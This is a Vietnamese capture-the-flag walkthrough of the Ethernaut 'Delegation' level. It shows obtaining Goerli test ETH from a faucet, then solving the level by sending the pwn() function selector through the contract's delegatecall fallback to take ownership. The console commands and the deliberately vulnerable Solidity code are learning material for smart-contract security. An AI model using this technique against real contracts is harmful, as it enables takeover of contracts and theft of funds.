

Delegation

1. Thực hiện việc kiểm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



0x92141B14ddB92C256eFB3f1F464b042164570Af9

- + Sau đó start Mining:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4



Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: 2023-08-11 20:21 (23h 47min)
Captcha:



Tôi không phải là người
máy



reCAPTCHA
Bảo mật - Điều khoản

Claim Rewards

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.


Claim Rewards

Wallet: 0x92141B14ddB92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: -

Claim Transaction has been confirmed in block #9494425!


TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a

 Star 1,713

Or support this faucet by sharing your result with a

 Tweet

 Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

2. Xác định yêu cầu đề bài:

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.

Fallback methods

Method ids

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {

    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}
```

3. Giải quyết bài toán

Ta phải giành quyền sở hữu hợp đồng


Ta có thể thấy có phương thức pwn() nếu sử dụng thì sẽ giành được quyền sở hữu. Một cách đơn giản nếu bạn hiểu rõ cách thức delegatecall hoạt động, đang được sử dụng trong fallback phương pháp Delegation.

Đầu tiên ta phải lấy được chữ kí của pwn() để có thể thực hiện giao dịch

```
> signature = web3.eth.abi.encodeFunctionSignature("pwn()")
< '0xdd365b8b'
```

Sau đó, chúng ta gửi một giao dịch dưới signature dạng dữ liệu, để fallback được gọi

```
> await contract.sendTransaction({ from: player, data: signature })
```

 **Sent transaction**  <https://goerli.etherscan.io/tx/0x9c31a04b0.....4879ae8b0d945b.js:113d2d...>

 **Mined transaction**  <https://goerli.etherscan.io/tx/0x9c31a04b0.....4879ae8b0d945b.js:113d2d...>

```
< {tx: '0x9c13d2dc5f2ce3586886bc24b79e317229406e6f5d46fefcb6c8d7982c7e6639', receipt: {...}, logs: Array(0)}
```

Và sau đó thực hiện Submit

Submitting level instance... < < <<PLEASE WAIT>> >

Sent transaction <https://goerli.etherscan.io/tx/0xbdee228...>

Mined transaction <https://goerli.etherscan.io/tx/0xbdee228...>

100% 100% 100% 100% 100% 100% 100% 100% 100% 100%

100% 100% 100% 100% 100% 100% 100% 100% 100% 100%

100% 100% 100% 100% 100% 100% 100% 100% 100% 100%

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

Well done, You have completed this level!!!

> |